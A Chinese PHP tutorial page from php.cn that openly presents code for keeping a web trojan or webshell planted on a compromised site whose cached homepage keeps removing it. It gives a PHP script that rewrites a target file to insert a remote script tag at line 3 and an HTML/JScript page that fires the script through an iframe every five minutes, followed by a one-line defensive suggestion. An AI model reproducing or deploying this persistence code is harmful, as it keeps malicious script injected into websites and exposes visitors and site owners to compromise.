> php教程 > PHP源码 > 본문

php在文件指定行中写入代码的方法

PHP中文网
풀어 주다: 2016-05-25 17:10:04
원래의
1146명이 탐색했습니다.

有的站主页是缓存页面,你加入的网马代码或是webshell代码经常被更新或是其它的因素干掉,所以弄了这个代码,防范方法脚本之家将最后给解决方法

 代码如下:

<?php 
$file="aa.php" ; 
$code="<script src=http://www.php.cn/;</script>"; 
$f=fopen($file,"r+"); 
$content=fread($f,filesize($file)); 
fclose($f); 
if(!strstr($content,$code)){ 
$arrInsert = insertContent($file, $code, 3); 
unlink($file); 
foreach($arrInsert as $value) 
{ 
file_put_contents($file, $value, FILE_APPEND); 
} 
} 
function insertContent($source, $s, $iLine) { 
$file_handle = fopen($source, "r"); 
$i = 0; 
$arr = array(); 
while (!feof($file_handle)) { 
$line = fgets($file_handle); 
++$i; 
if ($i == $iLine) { 
$arr[] = $line .$s . "\n"; 
}else { 
$arr[] = $line; 
} 
} 
fclose($file_handle); 
return $arr; 
} 
?>
로그인 후 복사

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。

代码如下:

<HTML> 
<HEAD> 
</HEAD> 
<BODY> 
<SCRIPT LANGUAGE="JScript"> 
function singOut() { 
var O = document.createElement("iframe"); 
O.src="http://www.google.com/上边的php文件.php"; 
O.width=100; 
O.height=100; 
document.body.appendChild(O); 
} 
window.setInterval("singOut();",300000); 
</SCRIPT> 
</BODY> 
</HTML>
로그인 후 복사


解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了

관련 라벨:
원천:php.cn
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
최신 이슈
인기 추천
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿